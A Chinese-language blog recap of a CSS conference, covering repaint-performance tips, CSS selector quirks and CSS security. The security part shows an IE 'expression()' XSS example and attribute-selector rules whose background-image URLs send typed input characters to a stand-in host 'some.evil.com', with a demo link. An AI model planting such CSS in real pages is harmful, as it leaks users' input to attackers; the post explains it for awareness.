除了前兩部分 PostCSS 和 CSS Modules 之外，這次 Conf 的方向，怎麼說呢，應該說『分歧』吧。有些人致力於把人工比重減到最低，另一群人繼續苦苦琢磨 hand craft 的奇技淫巧，兩者往完全相反的方向前進…。或許就如神同事所說，CSS 正走到一個摸索未來發展的階段，這沒有不好，代表你可以依照不同的專案需求，自己挑選適合的路。不過還是有些內容對各方都有幫助，整理一下。
CSS Performance
這個 session 講者比較強調的重點，是要減少 CSS 的寫法讓畫面重繪的次數和面積。例如：
- 將 :hover selector 下在面積比較小的 element 上
- 在捲動的時候關掉 hover 事件的 listener
- 注意捲動時有哪些 element 被重繪
- 把經常更動的 element 放在檔案前面也有幫助
- 注意 position:fixed 和 scrollable 的 element 會常常被重繪
- 動畫造成的重繪，可以用以下方法提醒 Browser 要提早 optimize 資源：
.move-elem { will-change: transform; } .move-elem { transform: translateZ(0); }
《原始投影片》
CSS Class Name Magic and CSS Security
這個 session 講者提出了幾個不為人知但早已存在的 CSS fun facts 外，也提醒 CSS 可能的安全性問題。
- 可以重複同一個 selector 來取代 !important
.bar { background: blue !important; } /* 下面選到的也是 .bar */ .bar.bar.bar.bar.bar { background: blue; } - 有空格的 font-family 名稱其實不需要引號
div { font-family: Comic Sans MS; } - 單行註解可以 work，因為不會被正確解析反而達到註解效果
div { /* 正確的註解 */ // 單行註解 } - 用 escape 可以寫出奇奇怪怪的 class name
- 最重要的是早期的 CSS expression 或 background-image 可能成為駭客攻擊的管道。例如：
<meta http-equiv='x-ua-compatible' content='IE=7'> <!-- 通常都設成 content='IE=edge'，這邊刻意設成 IE=7，瀏覽器就兼容 IE7 了--> div { width: expression( open('http://some.evil.com?v=a'); alert('XSS'); ); }以下是一個用 css 偷 input 資料的 demo
http://eaea.sirdarckcat.net/cssar/v2/它原理是利用屬性讀取 CSS selector [value^=”a”]，讀取 26 個字母，每當 user 打一個字母，CSS 就 apply 這個字母的 background-image，但 background-image 的路徑指向駭客網站，剛好把 user 打的值送過去，真的很厲害啊！
input[value^='a'] { background-image: url('//some.evil.com?v=a'); } input[value^='b'] { background-image: url('//some.evil.com?v=b'); }
烏托比亞 